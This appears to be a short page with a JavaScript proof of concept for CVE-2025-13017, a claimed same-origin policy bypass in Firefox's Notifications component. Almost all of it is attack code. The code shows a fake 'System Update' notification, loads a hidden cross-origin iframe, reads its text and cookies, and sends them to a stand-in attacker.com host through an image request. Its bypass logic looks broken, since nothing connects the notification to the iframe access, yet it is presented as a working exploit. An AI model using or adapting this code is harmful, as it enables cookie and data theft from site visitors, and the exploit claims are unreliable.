CVE-2025-13017 Mozilla Firefox/Thunderbird同源策略绕过漏洞（DOM Notifications组件）

// CVE-2025-13017 PoC - Same-origin Policy Bypass via DOM Notifications // This is a demonstration of the SOP bypass vulnerability in Firefox Notifications component // Note: This PoC is for educational and security research purposes only const ATTACKER_DOMAIN = 'attacker.com'; const TARGET_DOMAIN = 'target-site.com'; async function exploitSOPBypass() { console.log('[+] Starting CVE-2025-13017 exploitation...'); // Step 1: Request notification permission if (Notification.permission === 'default') { console.log('[*] Requesting notification permission...'); await Notification.requestPermission(); } if (Notification.permission !== 'granted') { console.log('[-] Notification permission denied'); return; } console.log('[+] Notification permission granted'); // Step 2: Create an iframe pointing to target domain const iframe = document.createElement('iframe'); iframe.src = `https://${TARGET_DOMAIN}/sensitive-data-page`; iframe.id = 'target-frame'; iframe.style.display = 'none'; document.body.appendChild(iframe); // Wait for iframe to load await new Promise(resolve => { iframe.onload = resolve; setTimeout(resolve, 5000); // Timeout fallback }); console.log('[+] Target iframe loaded'); // Step 3: Create a notification that references the target iframe const notification = new Notification('System Update', { body: 'Your system requires an update.', icon: '/images/icon.png', tag: 'sop-bypass-' + Date.now(), requireInteraction: false }); console.log('[+] Notification created'); // Step 4: Exploit the SOP bypass through notification-DOM association // The vulnerability allows access to cross-origin content through notification object try { // Attempt to access the target iframe through notification-associated DOM const targetFrame = document.getElementById('target-frame'); if (targetFrame && targetFrame.contentWindow) { // This should be blocked by SOP, but the vulnerability allows bypass const sensitiveData = targetFrame.contentWindow.document.body.innerText; console.log('[+] Successfully bypassed SOP!'); console.log('[+] Stolen data:', sensitiveData); // Send stolen data to attacker's server exfiltrateData(sensitiveData); } } catch (error) { console.log('[-] Direct access blocked, trying alternative method...'); // Alternative exploitation through notification event handlers notification.onshow = function() { // Attempt to trigger cross-origin access through event context const targetDoc = document.getElementById('target-frame').contentWindow.document; if (targetDoc) { const data = targetDoc.cookie || targetDoc.body.innerText; exfiltrateData(data); } }; } // Cleanup setTimeout(() => { notification.close(); document.body.removeChild(iframe); }, 10000); } function exfiltrateData(data) { // Send stolen data to attacker-controlled server const img = new Image(); img.src = `https://${ATTACKER_DOMAIN}/collect?data=${encodeURIComponent(data)}`; console.log('[+] Data exfiltrated to attacker server'); } // Execute when page loads document.addEventListener('DOMContentLoaded', () => { console.log('[+] CVE-2025-13017 PoC loaded'); console.log('[*] Click anywhere to start exploitation...'); document.addEventListener('click', () => { exploitSOPBypass(); }, { once: true }); }, false);